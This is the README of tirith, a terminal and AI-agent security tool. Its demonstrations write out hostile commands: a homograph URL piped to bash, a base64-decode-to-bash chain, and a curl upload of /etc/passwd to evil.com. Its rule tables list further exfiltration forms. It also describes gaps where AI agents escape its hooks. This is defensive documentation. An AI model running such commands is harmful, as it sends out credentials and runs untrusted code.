tirith 0.4.1

Terminal security - catches homograph attacks, pipe-to-shell, ANSI injection
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
# tirith

**Your browser would catch this. Your terminal won't.**

<p align="center">
  <img src="assets/cover.png" alt="tirith, terminal security" width="100%" />
</p>

[![CI](https://github.com/sheeki03/tirith/actions/workflows/ci.yml/badge.svg)](https://github.com/sheeki03/tirith/actions/workflows/ci.yml)
[![GitHub Stars](https://img.shields.io/github/stars/sheeki03/tirith?style=flat&logo=github)](https://github.com/sheeki03/tirith/stargazers)
[![License: AGPL-3.0](https://img.shields.io/badge/license-AGPL--3.0-blue)](LICENSE-AGPL)

[Website](https://tirith.sh) | [Docs](https://tirith.sh/docs) | [SKILL.md](SKILL.md) | [Changelog](CHANGELOG.md) | [Releases](https://github.com/sheeki03/tirith/releases)

<a href="https://vercel.com/open-source-program">
  <img alt="Vercel OSS Program" src="https://vercel.com/oss/program-badge-2026.svg" />
</a>

<sub>Independent open-source project, with hosting supported by the Vercel Open Source Program (Spring 2026 Cohort).</sub>

---

Can you spot the difference?

```
  curl -sSL https://install.example-cli.dev | bash     # safe
  curl -sSL https://іnstall.example-clі.dev | bash     # compromised
```

You can't. Neither can your terminal. Both `і` characters are Cyrillic (U+0456), not Latin `i`. The second URL resolves to an attacker's server. The script executes before you notice.

Browsers solved this years ago. Terminals still render Unicode, ANSI escapes, and invisible characters without question. AI agents run shell commands and install packages without inspecting what's inside.

**Tirith stands at the gate.** It intercepts commands, pasted content, and scanned files for homograph URLs, obfuscated payloads, credential exfiltration, malicious AI skills/configs, and known-bad packages/domains/IPs from a signed threat intelligence database before they execute.

```bash
brew install tirith
```

Then activate in your shell profile:

```bash
# zsh
eval "$(tirith init --shell zsh)"

# bash
eval "$(tirith init --shell bash)"

# fish
tirith init --shell fish | source
```

> [!TIP]
> `eval "$(tirith init)"` auto-detects your current shell (it inspects the parent process and falls back to `$SHELL` if needed). The explicit `--shell` flag is only required when you want to override the detection.

That's it for interactive-shell coverage. Commands accepted by that shell are
checked while the hook is loaded and healthy; exact blocking behavior depends
on the shell and mode. Run `tirith doctor` after installation and upgrades, and
read [enforcement by shell](#enforcement-by-shell) before treating the hook as
an authorization boundary. Clean commands stay silent and normally take the
fast path.

Also available via [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages), and [more](#install).

---

## See it work

**Homograph attack, blocked before execution:**

```
$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)
```

The command never executes.

**Pipe-to-shell with clean URL, warned, not blocked:**

```
$ curl -fsSL https://get.docker.com | sh

tirith: WARNING
  [MEDIUM] pipe_to_interpreter, Download piped to interpreter
    Consider downloading first and reviewing.
```

Warning prints to stderr. Command still runs.

**Base64 decode-execute chain, blocked:**

```
$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
```

Catches decode chains through sudo/env wrappers and PowerShell `-EncodedCommand` too.

**Credential exfiltration, blocked:**

```
$ curl -d @/etc/passwd https://evil.com/collect

tirith: BLOCKED
  [HIGH] data_exfiltration, Data exfiltration via curl upload
    curl command uploads sensitive data to a remote server
```

Covers all curl/wget upload flags, env vars (`$AWS_SECRET_ACCESS_KEY`), and command substitution.

**Malicious skill file, caught on scan:**

```
$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
```

Scans JS/Python files for obfuscated payloads, dynamic code execution, and secret exfiltration patterns.

**Normal commands, invisible:**

```
$ git status
$ ls -la
$ docker compose up -d
```

Nothing. Zero output. You forget tirith is running.

---

## What it catches

**244 detection rules across 35 categories.**

| Category | What it stops |
|----------|--------------|
| **Homograph attacks** | Cyrillic/Greek lookalikes in hostnames, punycode domains, mixed-script labels, lookalike TLDs, confusable domains, text-level confusable detection (math alphanumerics, same-word mixed-script) |
| **Terminal injection** | ANSI escape sequences, bidi overrides, zero-width characters, unicode tags, invisible math operators, variation selectors, Hangul fillers |
| **Steganography defense** | Invisible whitespace encoding (12 Unicode space variants), Mongolian Vowel Separator, Hangul Filler characters, math alphanumeric substitution, defenses against st3gg-style text steganography |
| **Pipe-to-shell** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, plus many wrapper, decode, and indirection paths |
| **Base64 decode-execute** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, decode chains through sudo/env wrappers |
| **Data exfiltration** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, env var uploads (`$AWS_SECRET_ACCESS_KEY`), command substitution exfil |
| **Code file scanning** | Obfuscated payloads (`eval(atob(...))`), dynamic code execution (`exec(b64decode(...))`), secret exfiltration via `fetch`/`requests.post` in JS/Python files |
| **Credential detection** | AWS keys, GitHub PATs, Stripe/Slack/SendGrid/Anthropic/GCP/npm tokens, private key blocks, plus entropy-based generic secret detection |
| **Post-compromise behavior** | Process memory scraping (`/proc/*/mem`), Docker remote privilege escalation, credential file sweeps, calibrated against TeamPCP and UNC1069 post-compromise tooling |
| **Command safety** | Dotfile overwrites, archive extraction to sensitive paths, cloud metadata endpoint access, private network access |
| **Insecure transport** | Plain HTTP piped to shell, `curl -k`, disabled TLS verification, shortened URLs hiding destinations |
| **Environment** | Proxy hijacking, sensitive env exports, code injection via env, interpreter hijack, shell injection env |
| **Config file security** | Config injection, suspicious indicators, non-ASCII/invisible unicode in configs, MCP server security (insecure/untrusted/duplicate/permissive) |
| **Ecosystem threats** | Git clone typosquats, untrusted Docker registries, pip/npm URL installs, web3 RPC endpoints, vet-not-configured |
| **Install-command safety** | APT repos added from a piped download, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (disabled signature checks), `kubectl apply -f` against raw/shortened remote manifests, Helm charts from untrusted repos, Terraform modules from untrusted remote sources, `brew install`/`tap` from arbitrary URLs |
| **Path analysis** | Non-ASCII paths, homoglyphs in paths, double-encoding |
| **Rendered content** | Hidden CSS/color content, hidden HTML attributes, comment content analysis (prompt injection at High, destructive commands at Medium) |
| **Cloaking detection** | Server-side cloaking (bot vs browser), clipboard hidden content, PDF hidden text |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, Windows Defender exclusions (`Add-MpPreference -Exclusion*`), inline `iex (iwr ...)` download-execute |
| **Terminal output defense** | OSC 52 clipboard writes, fake prompts, OSC 8 hyperlink and title / clear-screen manipulation, prompt injection inside command or MCP tool output (scanned both raw and deobfuscated, so invisible-character, confusable, spaced-out, leetspeak, and short base64 / hex evasions are caught too), and output data exfiltration (beacon URLs or "read a secret then send it" directives) |
| **Operational context** | Destructive commands against labeled-prod cloud / k8s contexts and SSH hosts, Terraform / Pulumi / OpenTofu `apply` without a matching saved plan, risky sudo escalation, privileged `docker run` |
| **Workstation & persistence** | Loose-permission credential files and plaintext tokens (`~/.ssh`, `~/.aws`, `.npmrc`), persistence footholds (shell rc, `authorized_keys`, crontab, LaunchAgents, git `core.hooksPath`), PATH-hijack ordering, executable provenance, risky aliases, and sensitive env-var lifecycle |
| **Blast radius & correlation** | Deletes that escape the repo, mass deletions, executing files downloaded from risky sources, and session chains such as secret-write then network or delete then `git push --force` |
| **Trust, attestation & provenance** | Signed command-card mismatch, canary honeytoken touches, paste source-host mismatch, caller-origin (agent) policy denials, MCP lockfile drift, and AI-config drift versus a known-safe snapshot |
| **Web3 command guard** | On-chain writes from Cast / Forge / Hardhat / Solana / Anchor commands (High when the same command also disables a declared safety control), raw private-key, keypair, or mnemonic material on the command line, and an RPC endpoint or signer the operator's `web3_guard` policy does not trust. Grammar and policy only: no chain state is read, no transaction is simulated, and no address is scored |
| **Wallet exfiltration** | Reviewed wallet, keystore, browser-wallet, and Solana-keypair material flowing to a proven remote sink, including archive, base64, hex, compressor, and encryptor staging hops and `xargs` / `find -exec` operand promotion. A source-only read is deliberately not a finding |
| **CI artifact poisoning** | A fork-reachable workflow that uploads a build artifact, consumed by a privileged `workflow_run` workflow bound to the triggering run that then executes, sources, PATH-mutates, publishes, or deploys it |

---

## What tirith does NOT protect against

Tirith analyzes the **structure** of commands, pasted text, and files before
they execute. It is a pre-execution gate, not a runtime defense, and does not
cover:

- **General runtime sandboxing:** ordinary shell hooks and `tirith check` warn
  or block; they do not isolate a command after launch. The explicit
  `capsule run --preset untrusted-project` and enforcing `pkg install` paths
  provide fail-closed containment only on supported x86_64 Linux hosts.
- **Post-execution network monitoring:** what a process does on the network after
  launch is out of scope.
- **General malware / payload detection:** tirith is not an antivirus and does
  not detonate a payload. It analyzes structure and can match exact indicators
  and artifact/file hashes from the signed threat database, but an unknown
  payload is not proven benign by the absence of a match. (`tirith run` checks
  a downloaded script's structure; it is still not dynamic malware analysis.)
- **A privileged root/admin attacker:** anyone already root or admin can bypass
  tirith trivially. It defends against tricked input, not an attacker who already
  owns the machine.
- **Anti-debugging / anti-tampering:** tirith does not resist reverse engineering
  or protect its own binary from a local attacker.
- **On-chain analysis:** the Web3 guard reads command grammar. It does not read
  chain state, simulate a transaction, resolve ENS, score an address, audit a
  contract, or watch a mempool.
- **An npm artifact firewall:** tirith parses npm command grammar and registry
  identity facts, and can ask the project's own npm for its signature and
  provenance state. It does not download, extract, quarantine, or bind the
  tarball bytes npm installs. The contained, hash-pinned artifact firewall is
  Python-only.
- **Browser forensics or monitoring:** `tirith browser audit` is an explicit,
  one-shot, read-only integrity audit of extension source trees. It never reads
  cookies, history, saved passwords, storage, wallet databases, or `Local
  State`, never removes or quarantines anything, and has no daemon.
- **Reproducible builds:** an `attest` receipt records what two trees contained
  at one moment. Tirith does not run your build and cannot say the output came
  from the source. A deployment receipt is a point-in-time measurement, not
  continuous monitoring.

See [docs/threat-model.md](docs/threat-model.md) for the full threat model and
explicit non-goals, and
[docs/enforcement-coverage.md](docs/enforcement-coverage.md) for a
capability-by-capability ledger of what tirith detects, decides, enforces,
contains, and attests.

---

## Known limitations

- **Shell-hook fragility:** protection depends on a shell hook staying installed
  and active. Hooks can break or silently degrade across shells, shell versions,
  prompt frameworks, and history tools. Run `tirith doctor` to check live state
  and watch for warn-only degradation.
- **Full or read-only temporary storage:** zsh and fish capture input through a
  scratch file before invoking Tirith and fail closed when that file cannot be
  created. A full/read-only `TMPDIR` can therefore refuse every command, and
  `TIRITH=0` cannot recover because the binary is never reached. Follow the
  recovery steps in [troubleshooting](docs/troubleshooting.md).
- **Platform-limited features:** daemon mode, `tirith run`, and `tirith fetch`
  are Unix surfaces. `tirith run --no-exec` remains an inspection workflow
  there, but live remote-script execution is Linux-only and refuses before
  download on every other host. `tirith setup` is cross-platform, while each
  host integration has its own platform contract (for example Cline has POSIX
  and Windows wrappers; OpenHands' blocking hook is Unix-only).
- **Package-name extraction scope:** covers language ecosystems (pip,
  npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), not distro
  package managers (`apt`, `dnf`, `yum`, `pacman`).
- **AI-agent caveats:** shell-hook interception only guards commands that go
  through a hooked interactive shell. An agent that spawns a non-interactive
  shell, calls `exec` directly, or runs without the hook loaded is not covered
  by that layer. MCP registration is cooperative unless calls are routed
  through the gateway. A supported pre-tool hook can automatically withhold a
  host command, but only when that host loaded and honored it; several hosts
  fail open when a hook process errors. Verify the effective host, not just the
  presence of a config file.
- **Host-hook failure behavior:** Grok Build, Cline, and OpenHands allow the
  tool when their hook process crashes or times out. Tirith's adapter denies on
  its own errors by default, but it cannot make a host honor a process that did
  not return. Re-run setup if a pinned interpreter moves and test the real host
  after every upgrade.
- **Prime Agent IPython is source-level extraction:** the guard covers shell
  escapes/magics and common `os`, `subprocess`, and `pty.spawn` forms, but it is
  not a Python runtime sandbox. A wrapper defined in an earlier cell,
  reflection such as `getattr`/`__import__`, or a third-party package that
  spawns a process can escape what a source lexer can prove.
- **Custom-DLP and machine output:** broad `dlp_custom_patterns` can currently
  rewrite protocol-owned string values in recursively redacted JSON/MCP
  projections, including generated identifiers or receipt metadata. Avoid
  patterns that can match structural values when consuming signed or
  machine-stable output; this needs field-aware redaction before release.
- **Unattended install approval:** `tirith install --yes` is accepted as the
  package-manager task gate's unattended `require_approval` channel. It is an
  explicit operator flag, not proof of a human TTY confirmation. Use a blocking
  task policy where unattended execution must be impossible.
- **Interpreted MCP binding:** exact interpreted-server binding hashes the
  repository tree under fixed caps instead of discovering a true dependency
  closure, so large trees, symlinks, or special files can refuse launch. It
  revalidates before spawn but does not execute interpreter inputs from sealed
  reviewed descriptors; concurrent same-user mutation remains a verify-to-load
  gap.
- **Task-gate coverage:** task effect inference models the Web3 shell grammar
  and nothing else, so nearly every ordinary SHELL command is reported
  INCOMPLETE. `task_gate.mode: enforce` with `action_incomplete_analysis: block`
  refuses those at the five boundaries that submit a shell envelope, and changes
  nothing at the four package and config-write boundaries, which always assess
  as complete. `warn` is the default. The alternative,
  `effects_denied_for_untrusted_sources`, denies the named effect on every call
  at every owned boundary, including commands you typed yourself, because no
  source at those boundaries is ever treated as trusted.
- **Containment is x86_64 Linux:** `tirith capsule run --preset
  untrusted-project` and enforcing `tirith pkg install` are enforceable only on
  x86_64 Linux with a usable Landlock ABI. Every other host refuses before
  anything is copied or spawned, with no degraded fallback. Domain
  allow-listing is not offered by any backend.
- **Nested-shell exfiltration gap:** a sensitive read inside a nested shell body
  whose sink is outside it, such as `bash -c "cat <wallet>" | curl -d @- <url>`,
  is not correlated today. The same chain wholly inside or wholly outside the
  `-c` body is detected.
- **Execution-evidence grades:** a Linux launch is confirmed only after its
  stopped `exec` transition, durable state update, authorized resume, and
  terminal launcher proof all complete. A gateway call is confirmed only by an
  exact correlated result. Shell observations and forwarded gateway calls that
  time out or are cancelled remain conservative unresolved evidence, never
  confirmed execution. Strict shell receipts are available for interactive
  bash, zsh, and fish; PowerShell remains preflight-only. Native Linux launcher
  behavior must be verified by Linux CI or a native Linux host; neither portable
  source/unit coverage nor a macOS build can substitute.
- **Web3 coverage gaps:** `forge create` is not yet modelled on engine surfaces;
  several declared `web3_guard` fields are parsed but not enforced; and
  schema-2 command-card Web3 bindings do not yet have a CLI authoring or live
  engine-consumption path. Treat these as known gaps, not silent authorization.

---

## Threat intelligence

Tirith ships a signed local threat database for package, hostname, and IP reputation. When a shell hook or `tirith check` sees a package install or suspicious infrastructure reference, it matches that input against the database before the command executes, instead of relying only on static heuristics.

**Signed DB** (built by CI, verified on download and load):

- Known-malicious packages from [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) and [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)
- Malicious IP infrastructure from [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch)
- Confirmed typosquats and popular-package baselines from [ecosyste.ms](https://ecosyste.ms/)
- [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) catalog for runtime advisory correlation

ThreatDB v2 adds exact artifact SHA-256 values, installed-file hashes,
malicious URLs, campaign membership, and behavior tags. The signed index,
updater, compiler, and loader support v1 and v2 during the staged cutover,
reject sequence rollback, publish transactionally, and retain a signed
last-known-good database when an update is incomplete or invalid. The
DigitalSide source is implemented but intentionally inactive until its
freshness and operating contract are approved.

**Optional supplemental feeds** (user-local overlay):

- [URLhaus](https://urlhaus.abuse.ch/) and [ThreatFox](https://threatfox.abuse.ch/) via an abuse.ch auth key
- [PhishTank](https://phishtank.org/) (Cisco Talos) and [Phishing Army](https://phishing.army/) blocklists
- Tor exit node list from [Tor Project](https://www.torproject.org/)

**Optional live enrichment** during `tirith check` and daemon mode:

- [OSV.dev](https://osv.dev/) advisory lookups (Google OSS)
- [deps.dev](https://deps.dev/) package health signals (Google OSS) and [ecosyste.ms](https://ecosyste.ms/) maintainer data
- [Google Safe Browsing](https://safebrowsing.google.com/) URL reputation with your own API key

```bash
tirith threat-db update              # download + verify the signed DB
tirith threat-db status              # age, signature, version, entry counts
tirith threat-db health              # install, signature, staleness, counts
tirith threat-db sources             # list every feed the DB is built from
tirith threat-db explain react       # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01   # count changes since a version/date
```

By default, shell hooks and `tirith check` trigger a cheap background refresh check every 24 hours. Daemon mode keeps the same enrichment path warm in the background.

`threat-db explain` accepts a domain, a package name (`name`, `ecosystem:name`, or `name@version`), or an IPv4 address. The binary retains no per-entry history, so `threat-db diff` reports category and per-source count deltas between snapshots, not the exact entries changed. Every `threat-db` command takes `--format json`; `threatdb` is an alias.

### Package risk scoring

`tirith package risk <ecosystem> <name>` scores a package's supply-chain / maintainer risk the way `tirith score` scores a URL, a **deterministic, fully explainable sum of named factors**, no model and no learned weights. `tirith package explain <ecosystem> <name>` adds the factor-by-factor derivation; both take `--format json`.

```bash
tirith package risk npm react           # 0/100, a known-popular package
tirith package risk npm reqeusts        # high, one edit from a popular name
tirith package explain pypi flask       # factor-by-factor derivation
tirith package risk npm left-pad --path ./node_modules/left-pad
tirith package risk --online npm react  # also consult the registry API
```

**Offline by default.** With no flags, every signal is local, with no network call: (1) **name vs. popular packages**: known-popular, unknown, or a one-edit near-miss of a popular name (the classic typosquat/slopsquat shape), from the local threat database's `popular` set; (2) **known malicious typosquat**: an exact match in the threat DB's `typosquat` index; (3) **install / lifecycle scripts** and (4) **bundled binary blobs**, detected only when the package content is locally available (under `node_modules` / `site-packages`, or via `--path`). tirith **never downloads** the package.

**`--online` adds registry provenance.** It consults the package's registry (npm, PyPI, or crates.io) for six more factors in the *same* factor-sum model: package/version age, an established package with no owners, an abnormal version spike, very low downloads, a missing source repo, and yanked/deprecated status. It is the only path on which `package risk` itself reaches the network; `tirith check` and daemon mode have a separate, policy-controlled runtime enrichment path. `--offline` / `TIRITH_OFFLINE` force this scorer offline regardless. Failures fall back to the offline score with an honest `api signals: unavailable`, and responses are cached with a TTL so repeated runs do not hammer the registries.

The score is advisory and standalone: `package risk` is not a detection rule and changes no verdict, exit code, or audit log.

### Ecosystem scan and dependency risk

`tirith ecosystem scan [path]` is the directory-level companion to `package risk`. It walks a project, discovers every dependency manifest it understands, npm (`package.json`, `package-lock.json`), Python (`requirements*.txt`, `pyproject.toml`), Rust (`Cargo.toml`), Go (`go.mod`), Ruby (`Gemfile`), and scores **every declared dependency** with the same deterministic `package_risk` factor engine.

```bash
tirith ecosystem scan                       # scan the current project
tirith ecosystem scan ./my-project          # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./      # full machine-readable report
```

**It folds in slopsquat detection.** *Slopsquatting* is the registration of a plausible-but-fake name that LLMs tend to hallucinate as a dependency. `ecosystem scan` flags one only when **all three** hold: the name is not known-real or popular, it is **shaped like an AI hallucination** (a language prefix like `python-` / `node-` plus descriptive tokens, a stack of generic filler like `helper` / `utils` / `client`, or an unusually long name), **and** it sits near a real popular name (a one-edit near-miss, or it embeds a popular name as a word). Requiring all three keeps false positives low: an honest `data-utils` with no popular anchor does not fire.

**Offline by default, opt-in `--online`.** Name and typosquat signals come from the local threat database; `--online` adds registry provenance, gated and degraded exactly as `package risk --online`. This flag controls the ecosystem scan and does not alter `tirith check`'s independent runtime-enrichment policy. Findings flow through tirith's normal `Verdict` / `Finding` model: explainable (`tirith explain --rule threat_suspicious_package`), audit-logged, and respecting the policy allowlist (an allowlisted package, by bare name or `ecosystem:name`, is suppressed). Exit codes match `tirith scan`: `1` for a blocking finding, `2` for advisory, `0` when clean.

This helps catch known-malicious packages, confirmed typosquats, slopsquatted package names, malicious download infrastructure, and packages with live OSV / CISA KEV advisory data.

### Python artifact inspection and enforcing installs

Package-name risk is only one layer. Tirith can inspect the exact Python bytes
you already have and, on supported hosts, enforce a hash-pinned install plan:

```bash
# Local evidence: never downloads an artifact
tirith package inspect --artifact dist/example-1.0-py3-none-any.whl
tirith package inspect --artifact-set ./downloaded-wheels
tirith package inspect --installed ./.venv

# Enforcing pip workflow: x86_64 Linux only
tirith pkg trust-tool /absolute/path/to/static-uv
tirith pkg approve pip requests==2.31.0 --target .tirith-pkg
tirith pkg install pip requests==2.31.0 --target .tirith-pkg
tirith pkg verify-env --target .tirith-pkg requests
```

Inspection covers wheel structure and identity, RECORD integrity and file
ownership, Python startup hooks, native ELF/Mach-O/PE extensions, execution
edges, and loader/payload splits across distributions. `pkg graph`, `pkg diff`,
`pkg attest`, and `pkg receipt` expose the corresponding provenance and receipt
evidence.

The enforcing path supports **pip on x86_64 Linux only** and requires the
documented native authority, a newly dedicated target directory, and an
enrolled fully static native `uv`. Every unsupported platform fails closed
before pip starts; it never falls back to an ordinary install. npm and Cargo
remain non-enforcing evidence surfaces. See the
[0.4.0 release notes](docs/release-notes-0.4.0.md) and
[command reference](docs/commands.md).

**Attack families tirith is built for** (illustrative, not a caught-by-current-code claim):

| Incident | Year | Attack shape |
|---|---|---|
| [Shai-Hulud npm worm](https://socket.dev/blog/shai-hulud-worm) | 2025 | Self-propagating package malware; exfiltrated GitHub tokens and AWS keys from 180+ packages, published findings to public `Shai-Hulud` repos |
| [Slopsquatting](https://socket.dev/blog/slopsquatting-how-ai-hallucinations-are-fueling-a-new-class-of-supply-chain-attacks) | 2023 to ongoing | Attackers register LLM-hallucinated package names on npm / PyPI / crates.io; [USENIX 2025](https://www.usenix.org/system/files/conference/usenixsecurity25/sec25cycle1-prepub-742-spracklen.pdf) found 58% of hallucinated names repeat across runs |
| Team PCP / UNC1069 tooling | ongoing | Post-compromise credential sweeps, `/proc/*/mem` scraping, Docker privilege escalation |
| [colors.js / faker.js sabotage](https://snyk.io/blog/open-source-npm-packages-colors-faker/) | 2022 | Author self-sabotage of widely-used packages |
| [event-stream compromise](https://github.com/dominictarr/event-stream/issues/116) | 2018 | Transferred ownership to attacker; payload targeted Bitcoin wallets |

Package-name extraction currently covers language ecosystems (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), not distro-level package managers (`apt` / `dnf` / `yum` / `pacman`). That's why xz-utils, which entered through Linux distro tarballs, is not in the table despite being a headline incident.

---

## AI agent security

Tirith adds several independent protection layers around AI coding agents:
config scanning, cooperative MCP tools, an MCP gateway, interactive-shell
hooks, and host-native pre-tool hooks where the host exposes a documented
blocking contract. Coverage depends on which layer the host actually loads.

### Shell hooks, passive command interception

When an AI agent executes through a hooked interactive shell (Claude Code,
Codex, Cursor, etc.), tirith's shell hook checks that interactive command before
the shell accepts it. This does not cover a non-interactive shell, a direct
`exec`, or an agent process that never loaded the hook:

- **Blocks dangerous commands**: homograph URLs, pipe-to-shell, insecure downloads
- **Blocks malicious paste**: ANSI injection, bidi attacks, hidden multiline in pasted content
- **Agent-independent interactive gate**: no agent-specific integration is
  needed when that agent actually uses the protected interactive shell
- **Zero agent modification**: the agent doesn't know tirith exists until a command is blocked

Use `tirith setup <tool>` for one-command configuration (see [AI Agent Integrations](#ai-agent-integrations)).

### MCP server (6 cross-platform tools; 7 on Unix)

Run `tirith mcp-server` or use `tirith setup <tool> --with-mcp` to register tirith as an MCP server. AI agents can call these tools before taking action:

| Tool | What it does |
|------|-------------|
| `tirith_check_command` | Analyze shell commands for pipe-to-shell, homograph URLs, env injection |
| `tirith_check_url` | Score URLs for homograph attacks, punycode tricks, shortened URLs, raw IPs |
| `tirith_check_paste` | Check pasted content for ANSI escapes, bidi controls, zero-width chars |
| `tirith_scan_file` | Scan a file for hidden content, invisible Unicode, config poisoning |
| `tirith_scan_directory` | Recursive scan with AI config file prioritization |
| `tirith_verify_mcp_config` | Validate MCP configs for insecure servers, shell injection in args, wildcard tools |
| `tirith_fetch_cloaking` | Detect server-side cloaking (different content for bots vs browsers) |

